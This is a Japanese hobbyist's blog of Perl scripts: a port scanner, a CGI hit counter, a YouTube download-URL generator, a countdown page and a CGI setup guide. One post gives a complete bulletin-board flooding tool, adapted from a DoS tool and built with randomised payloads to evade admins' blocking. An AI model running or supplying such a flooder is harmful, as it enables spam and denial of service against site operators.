ORBIT SPACE
普通科に通う凡人学生のサーバー管理に関する外部記憶装置
-
11月19
ポートスキャンプログラムの構造解説と作成 Perl
Filed under: Linux (Server), PERSONAL COMPUTER, PROGRAM; Tagged as: Linux (Server), PC, Perl, PROGRAMNo Comments原本に一部間違いや遠回りをしていると思われる点がありましたので修正してあります。
#!/usr/bin/perl #-------------------------------------------------# # Name: Port Scan Program # 原作: Perl scan port # (URL: http://www.perlmonks.org/?node_id=806461) # 解説: ORBIT SPACE # 目的: ポートスキャンプログラムの構造の # 理解とモジュール利用方法等の理解 # を行う為に今回構造の解説とプログ # ラムの変更を行いました。 #-------------------------------------------------# #モジュール使用宣言 use IO::Socket; # Very Simple Scan Port Write in Perl # MAIN PROG print "Perl Scan Port V1.0\n\n"; # User Var # perl port.pl 127.0.0.1のように入力されたIPアドレスを取得 my $iptarget = $ARGV[0]; unless($ARGV[0]){die "MISSING IP ADRESS\n\n";} print "Interesting ports on $iptarget\n\n"; print "PORT // STATE // SERVICE\n"; # Scanning fonction # ポート番号をインクリメントして作成する。 for(my $iport = 0; $iport != 65537; $iport++){ # 指定されたIPアドレスのポートへ接続 if (my $remote = IO::Socket::INET->new( Proto => "tcp", PeerAddr => $iptarget, PeerPort => $iport, Timeout => "5")){ # サービス内容(http,ftp,ssh等)の表示し格変数へ格納 (my $name, my $aliases, my $port_number, my $protocol_name) =+ getservbyport($iport , "tcp"); # サービス名が不明な場合NAを格納 unless($name){$name = "NA";} # 出力 print "$iport open $name\n"; # 切断 close($remote); } } print "Scan Finish\n"; -
11月7No Comments
どうしてもカウンターがリセットされる現象を回避できなくて頭を悩ましていました^^;
どうもflock関数(ファイルロック)が理解できていなかったと言うのが結論。
にしても酷いな・・・・勉強の大切さを理解しました。カウンターでこのざまなら掲示板はどうなるんだ?
最初から作り直したほうが早いかもな・・・・・インストーラも効率悪かったし^^;すばらしく分かりやすく解説していただいたサイト
CGIやDBのロックと同時実行制御#!/usr/bin/perl ####################################################### #スクリプト名:ROS カウンター Ver.1.03 #作者:ORBIT #著作権:ORBIT SPACEに帰属します。 #著作権表示は一切行いません。自由にお使いください。 ####################################################### #各種設定 #------------------------------------------------------ #イメージの保存ディレクトリ $imgs = './img/'; #ログの保存場所 $ip_log = 'ip.log'; $counts_log = 'counts.log'; #------------------------------------------------------ #IPを取得 $ip = $ENV{'REMOTE_ADDR'}; #GETのデータから位を取得 $buf = $ENV{'QUERY_STRING'}; --$buf; #過去ログの取得 open (IN_OUT,"+<$counts_log"); flock IN_OUT, 2; $counts_data = <IN_OUT>; open (IP_IN_OUT,"+<$ip_log"); flock(IP_IN_OUT, 1); @ip_data = <IP_IN_OUT>; chomp($ip_data[0]); if($ip eq $ip_data[0]){&img;} $ip_data[0] = "$ip_data[0]\n"; #インクリメントして保存 if($counts_data eq ""){$counts_data = "00000000"}; ++$counts_data; seek IN_OUT, 0, 0; print IN_OUT $counts_data; close(IN_OUT); #IPを記録 unshift @ip_data, "$ip\n"; seek IP_IN_OUT, 0, 0; print IP_IN_OUT @ip_data; close(IP_IN_OUT); &img; # 画像表示 sub img{ #過去ログを取得し逆順に並べ替える @list = split(//,$counts_data); @img_list = reverse (@list); $nu = $img_list[$buf]; open(IG,"$imgs$nu.gif"); print "Content-type: image/gif\n\n"; binmode(IG); binmode(STDOUT); print <IG>; close(IG); exit; } -
11月5No Comments
基礎となるプログラムです。
先日紹介したダウンロードの方法をPerlにて最小限に表現してみました。#!/usr/bin/perl ######################################### #ソフト名:YoutubeダウンロードURL生成β #作成日:2009/11/5 #作者:ORBIT #著作権:ORBIT SPACEへ帰属します。 ######################################### #LWPモジュールを使用する use LWP; print"Youtube\tURL\n>"; $Target = <STDIN>; #正規表現にてURLの情報を取得 $Target =~ /http:\/\/(.*)\/watch\?v=(\w*)/; my $host = $1; my $id = $2; #取得した情報からURLを生成 $URL = 'http://www.youtube.com/get_video_info?&video_id='."$id"; #HTMLの取得 my $soce = LWP::UserAgent->new->request( HTTP::Request->new(GET => "$URL"))->content; #TOKENの取得を行う $soce =~ /.*token=(.*)\&thumbnail_url=.*/; my $t = $1; #TOKENを出力 print"$t\n"; #Downlad可能なURLを出力 print'http://youtube.com/get_video?video_id='."$id".'&t='."$t\n";
-
8月29No Comments
現在掲示板を作成中ですが、またしても脆弱性を発見しましたので、今回は開き直ってある程度性能のある掲示板連続投票ソフトを作成しました。一般的に言われる田代砲です。
通常はJava scriptで書かれていますが、勉強と関数の復習を兼ねてPerlを利用して作りました。
以前紹介したDoS.Perl.BBDoS.aを参考に作るならもっとセンスのある洒落たツールをと言う事で、乱数を追加して送信できる機能を取り付けました。田代砲とするなら乱田代砲と名づけましょうか^^;私の知識不足でProxyリストを使い投稿ごとにアクセス元を変更する機能こそ付いていませんが、投稿内容が毎回変わるので掲示板管理者や作成者はとても対策に困る訳です。
※ (もちろん、一定時間ごとに投票させるスリープ機能は付けてあります。)
つまり、このツールを防げたらたいていの連続投票を防げるわけです。※ このプログラムは悪戯目的に使用しないでください。
元はDos攻撃用ハッキングツールを参考にしていますので非常に危険です。#!/usr/bin/perl ################################################# #ソフト名:掲示板耐久性テストプログラム #バージョン:Ver.1.0 #ファイル名:bbsDos.pl #作者:ORBIT #作者HP:http://www.orbit-space.net/blog/ #※悪戯の目的で使用しないでください。 ################################################# #IO::Socketモジュールを使用する use IO::Socket; #アクセス先ホストの指定 while($host eq ""){ print "X"x"50"."\n"; print "URL(ホスト名)を入力してください\n"; print "> http://"; $host = <STDIN>; chomp $host; if($host eq "quit"){exit;} } #ポートを指定するかユーザーへ質問する print "X"x"50"."\n"; print "ポート番号を指定しますか?[y/n]"; $q_port = <STDIN>; print "指定しない場合は80番ポートへアクセスします\n"; chomp $q_port; #yが入力されたらポート番号が入力されるまで待機 if ($q_port eq "y"){ print "X"x"50"."\n"; print "ポートを指定します\n"; print "> "; $port = <STDIN>; chomp $port; }else{ $port = "80"; } #乱数を追記させるかを確認 print "X"x"50"."\n"; print "送信するデータに乱数を追加しますか?[y/n]"; $r = <STDIN>; chomp $r; #ファイルの場所の指定 print "X"x"50"."\n"; print "URL(ファイルの場所と送信データ)を入力してください\n"; print "乱数を追加しますのでコメントのname=で終了してください\n" if($r eq "y"); print "> http://$host/"; $bbs = <STDIN>; chomp $bbs; $bbs = "/".$bbs; #送信回数 print "X"x"50"."\n"; print "ループさせる回数を指定してください\n"; print "> "; $loop = <STDIN>; chomp $loop; if($loop eq "" || $loop eq "1"){ $loop = "2"; $ex = "1"; } if($loop == "0"){ print "Error:0回のループは指定出来ません!\n"; exit; } $loop-="1"; #スリープの設定 print "X"x"50"."\n"; print "指定秒ウェイトを設定する場合は入力してください\n"; print "> "; $slp = <STDIN>; chomp $slp; #指定させた数字になるまでループ while($ex <= $loop){ print "X"x"50"."\n"; $bbs2=$bbs; #乱数格納 if ($r eq "y"){ $rr = rand("1000"); $bbs2.=$rr; } #送信数のインクリメント $exd = $exd+"1"; print "$exd回目\n"; #割合 if($loop ne ""){ $sa = int(($ex/$loop)*"100"); print "進行状況:[$sa\%\/100\%]を完了しました\n"; $ex +="1"; } #送信情報の出力 print "ホストへ以下の情報を送信中です\n"; print "$bbs2\n"; #ホストへ接続を試みる $socket = new IO::Socket::INET ( PeerAddr => "$host", PeerPort => "$port", Proto => "tcp", ); die "Error:ホストに接続できませんでした!\n" unless $socket; #送信 print $socket "GET $bbs2 HTTP/1.0\n\n"; close($socket); #スリープ print "$slp秒スリープします\n" if($slp ne ""); sleep $slp; } print "終了しました\n" -
6月17No Comments
研究の息抜きに組んでみようと考えたら案外とても厄介でした。
素直に後何日って表示すればいいものを
あと〇ヶ年〇ヶ月と〇日って書くものだから
日付がマイナスになるんですよ^^;
0ヶ年1ヶ月と-4日
ってな風になって解決する為にスクリプトが長くなってしましました(汗ループとか使えばもっと短くなったかも知れませんね(汗
勉強が必要ですm(_ _)mペコリ実際の動作風景
http://www.orbit-space.net/~orbit/cgi-bin/win.cgi#!/usr/bin/perl ########################################### #ファイル名:win.cgi #作者:ORBIT # <HP URL> # http://www.orbit-space.net/blog/ # # <目的と機能> #ユーザーが指定した予定日まで #カウントダウンするスクリプト # # <著作権に関して> #2009年10月23日を過ぎた時点で完全に破棄します。 #上記の日付を過ぎている場合は #目的に応じ自由にカスタムしてかまいません。 ########################################### #--------- #各種設定 #--------- #CGIまでのURL $win = "http://www.orbit-space.net/~orbit/cgi-bin/win.cgi"; #HPまでのURL $url = "http://www.orbit-space.net/blog"; #ページタイトル $mane = "専修大学 AO入試までのカウントダウン"; #予定時間のタイトル $index0 = "現在"; $index1 = "AO入試説明会"; $index2 = "出願期間(〆切)"; $index3 = "第1次選考"; $index4 = "第2次選考"; $index5 = "合格発表"; #予定時間 $time1 = "2009<>7<>25\n"; $time2 = "2009<>9<>10\n"; $time3 = "2009<>10<>2\n"; $time4 = "2009<>10<>17\n"; $time5 = "2009<>10<>23\n"; #カレンダー (2009) my $days_1 ="31"; my $days_2 ="28"; my $days_3 ="31"; my $days_4 ="30"; my $days_5 ="31"; my $days_6 ="30"; my $days_7 ="31"; my $days_8 ="31"; my $days_9 ="30"; my $days_10 ="31"; my $days_11 ="30"; my $days_12 ="31"; #現時間の取得 ($sec, $min, $hour, $mday, $mon, $year, $wday, $yday, $isdst) = localtime( ); #西暦へ変換 $year += 1900; $mon++; $tomon = $mon; $today = $mday; $now = sprintf("$index0:\t%s/%s/%s",$year,$tomon,$today); #------------------------------------ #指定された予定日までをカウントダウン #------------------------------------ #スラッシュを消去し予定日1日目の処理を開始 ($YY, $MM, $DD) = split(/<>/,$time1); #現在の時間と現在の時間を比較し減算 $YY -= $year; $MM -= $mon; $DD -= $mday; #日付けにマイナスが付く場合修正 if ($MM < 0){&minus_MM}; if ($DD < 0){&minus_DD}; #文字列の整形し変数に格納 $time_1 = sprintf("$index1:\t%sヶ年%sヶ月と%s日",$YY,$MM,$DD); #予定日を過ぎた場合の処理 if ($time_1 =~ /-/){$time_1 = "$index1:\tカウント終了"}; #スラッシュを消去し予定日2日目の処理を開始 ($YY, $MM, $DD) = split(/<>/,$time2); #現在の時間と現在の時間を比較し減算 $YY -= $year; $MM -= $mon; $DD -= $mday; #日付けにマイナスが付く場合修正 if ($MM < 0){&minus_MM}; if ($DD < 0){&minus_DD}; #文字列の整形し変数に格納 $time_2 = sprintf("$index2:\t%sヶ年%sヶ月と%s日",$YY,$MM,$DD); #予定日を過ぎた場合の処理 if ($time_2 =~ /-/){$time_2 = "$index2:\tカウント終了"}; #スラッシュを消去し予定日3日目の処理を開始 ($YY, $MM, $DD) = split(/<>/,$time3); #現在の時間と現在の時間を比較し減算 $YY -= $year; $MM -= $mon; $DD -= $mday; #日付けにマイナスが付く場合修正 if ($MM < 0){&minus_MM}; if ($DD < 0){&minus_DD}; #文字列の整形し変数に格納 $time_3 = sprintf("$index3:\t%sヶ年%sヶ月と%s日",$YY,$MM,$DD); #予定日を過ぎた場合の処理 if ($time_3 =~ /-/){$time_3 = "$index3:\tカウント終了"}; #スラッシュを消去し予定日4日目の処理を開始 ($YY, $MM, $DD) = split(/<>/,$time4); #現在の時間と現在の時間を比較し減算 $YY -= $year; $MM -= $mon; $DD -= $mday; #日付けにマイナスが付く場合修正 if ($MM < 0){&minus_MM}; if ($DD < 0){&minus_DD}; #文字列の整形し変数に格納 $time_4 = sprintf("$index4:\t%sヶ年%sヶ月と%s日",$YY,$MM,$DD); #予定日を過ぎた場合の処理 if ($time_4 =~ /-/){$time_4 = "$index4:\tカウント終了"}; #スラッシュを消去し予定日5日目の処理を開始 ($YY, $MM, $DD) = split(/<>/,$time5); #現在の時間と現在の時間を比較し減算 $YY -= $year; $MM -= $mon; $DD -= $mday; #日付けにマイナスが付く場合修正 if ($MM < 0){&minus_MM}; if ($DD < 0){&minus_DD}; #文字列の整形し変数に格納 $time_5 = sprintf("$index5:\t%sヶ年%sヶ月と%s日",$YY,$MM,$DD); #予定日を過ぎた場合の処理 if ($time_5 =~ /-/){$time_5 = "$index5:\tカウント終了"}; #--------- #HTML出力 #--------- #HTMLで出力 print "Content-type: text/html;charset=EUC-JP\n\n"; print <<EOD <HTML> <HEAD> <TITLE>$mane</TITLE> </HEAD> <BODY> <H1>$mane</H1> <FONT SIZE="6">$now</FONT><BR> <BR> <FONT SIZE="5"><B><I><a href="$win">RELOAD</a></B></I></FONT><BR> <FONT SIZE="6">$time_1</FONT><BR> <FONT SIZE="6">$time_2</FONT><BR> <FONT SIZE="6">$time_3</FONT><BR> <FONT SIZE="6">$time_4</FONT><BR> <FONT SIZE="6">$time_5</FONT><BR> <BR> <HR> <解説><BR> Perlを利用した カウントダウンスクリプトを作成してみました。<BR> 予定日が近づく毎にカウントダウンされていきます。<BR> 予定日を過ぎるとカウントを終了しましたとメッセージを表示します。<BR> <BR> 作成者HP<BR> <a href="$url" target="_blank">ORBIT SPACE</a> </BODY> </HTML> EOD ; #=========================== #誤差修正 サブルーチン 月用 #=========================== sub minus_MM { if ($MM == "-1"){ $MM = "13"; }elsif ($MM == "-2"){ $MM = "14"; }elsif ($MM == "-3"){ $MM = "15"; }elsif ($MM == "-4"){ $MM = "16"; }elsif ($MM == "-5"){ $MM = "17"; }elsif ($MM == "-6"){ $MM = "18"; }elsif ($MM == "-8"){ $MM = "19"; }elsif ($MM == "-9"){ $MM = "20"; }elsif ($MM == "-10"){ $MM = "21"; }elsif ($MM == "-11"){ $MM = "22"; }elsif ($MM == "-12"){ $MM = "23"; } } #=============================== #誤差修正 サブルーチン 日にち用 #=============================== sub minus_DD { if ($MM == "1"){ $MM = "12"; #カレンダー読み込みと照合 &mons; $days += $DD; $DD = $days; }elsif ($MM == "2"){ $MM--; #カレンダー読み込みと照合 &mons; $days += $DD; $DD = $days; }elsif ($MM == "3"){ $MM--; #カレンダー読み込みと照合 &mons; $days += $DD; $DD = $days; }elsif ($MM == "4"){ $MM--; #カレンダー読み込みと照合 &mons; $days += $DD; $DD = $days; }elsif ($MM == "5"){ $MM--; #カレンダー読み込みと照合 &mons; $days += $DD; $DD = $days; }elsif ($MM == "6"){ $MM--; #カレンダー読み込みと照合 &mons; $days += $DD; $DD = $days; }elsif ($MM == "7"){ $MM--; #カレンダー読み込みと照合 &mons; $days += $DD; $DD = $days; }elsif ($MM == "8"){ $MM--; #カレンダー読み込みと照合 &mons; $days += $DD; $DD = $days; }elsif ($MM == "9"){ $MM--; #カレンダー読み込みと照合 &mons; $days += $DD; $DD = $days; }elsif ($MM == "10"){ $MM--; #カレンダー読み込みと照合 &mons; $days += $DD; $DD = $days; }elsif ($MM == "11"){ $MM--; #カレンダー読み込みと照合 &mons; $days += $DD; $DD = $days; }elsif ($MM == "12"){ $MM--; #カレンダー読み込みと照合 &mons; $days += $DD; $DD = $days; } } #================================= #カレンダー読み込みと照合 #================================= sub mons{ if ($tomon == "1"){ $days = $days_1; }elsif ($tomon == "2"){ $days = $days_2; }elsif ($tomon == "3"){ $days = $days_3; }elsif ($tomon == "4"){ $days = $days_4; }elsif ($tomon == "5"){ $days = $days_5; }elsif ($tomon == "6"){ $days = $days_6; }elsif ($tomon == "7"){ $days = $days_7; }elsif ($tomon == "8"){ $days = $days_8; }elsif ($tomon == "9"){ $days = $days_9; }elsif ($tomon == "10"){ $days = $days_10; }elsif ($tomon == "11"){ $days = $days_11; }elsif ($tomon == "12"){ $days = $days_12; } }アップロード方法
属性(パーミッション)について
Linux系サーバーでは属性をきちんと設定しなければ動きません。
Windowsには属性という理念は存在しませんので
Win系サーバーでは考える必要は無いです。CGIを実行出来るデレクトリーにアップロードしてください。
もしもError500になる場合は
管理者に
#!/usr/bin/perl
のパスを確認してもらってください。自宅サーバー利用者について
CGIはApache2の場合
/etc/apache2/conf/httpd.conf
あたりを設定してみましょう。図 public_html/ ←公開ディレクトリー | +-/cgi-bin/ ←属性:drwxr-xr-x | +-win.cgi ←属性:-rwxr-xr-x




COMMENT